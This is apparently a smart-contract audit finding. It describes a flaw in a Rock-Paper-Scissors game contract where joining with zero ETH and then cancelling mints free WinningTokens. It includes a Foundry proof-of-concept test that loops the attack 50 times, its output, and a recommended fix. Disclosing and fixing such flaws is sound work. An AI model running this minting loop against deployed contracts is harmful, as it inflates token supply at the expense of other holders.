Summary
Malicious users can create games and cancel them intentionally to mint themselves an unlimited amount of WinningTokens.
Vulnerability Details
Games created with RockPaperScissors::createGameWithToken function allow playerB to join for free by calling the RockPaperScissors::joinGameWithEth with no value. If the creator of the game cancels the game, both players get minted 1 winningToken. To abuse this, a malicious user could:
- Create a game using - RockPaperScissors::createGameWithTokenas account1.
 
- Join game using - RockPaperScissors::joinGameWithEthwith no value as account2.
 
- Cancel the game using - RockPaperScissors::cancelGameas account1.
 
- Both account1 and account2 are minted 1 WinningToken. 
Paste the following test into the test suite:
function testCancelGriefingAttackLoop() public {
        console2.log("playerA token balance before: ", token.balanceOf(playerA));
        console2.log("playerB token balance before: ", token.balanceOf(playerB));
        for (uint256 i = 0; i < 50; i++) {
            vm.startPrank(playerA);
            token.approve(address(game), 1);
            gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
            vm.stopPrank();
            
            vm.startPrank(playerB);
            game.joinGameWithEth{value: 0}(gameId);
            vm.stopPrank();
            
            vm.startPrank(playerA);
            game.cancelGame(gameId);
            vm.stopPrank();
        }
        console2.log("playerA token balance after: ", token.balanceOf(playerA));
        console2.log("playerB token balance after: ", token.balanceOf(playerB));
    }
The output is:
Ran 1 test for test/RockPaperScissorsTest.t.sol:RockPaperScissorsTest
[PASS] testCancelGriefingAttackLoop() (gas: 10477588)
Logs:
  playerA token balance before:  10
  playerB token balance before:  10
  playerA token balance after:  10
  playerB token balance after:  60
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.43ms (6.02ms CPU time)
Ran 1 test suite in 67.31ms (15.43ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
A malicious user could mint themselves an unlimited amount of tokens.
Tools Used
Manual review
Recommendations
Require game.bet > 0 when calling RockPaperScissors::joinGameWithEth.
function joinGameWithEth(uint256 _gameId) external payable {
        Game storage game = games[_gameId];
        require(game.state == GameState.Created, "Game not open to join");
        require(game.playerA != msg.sender, "Cannot join your own game");
        require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+       require(game.bet > 0, "Bet amount cannot be zero");
        require(msg.value == game.bet, "Bet amount must match creator's bet");
        game.playerB = msg.sender;
        emit PlayerJoined(_gameId, msg.sender);
    }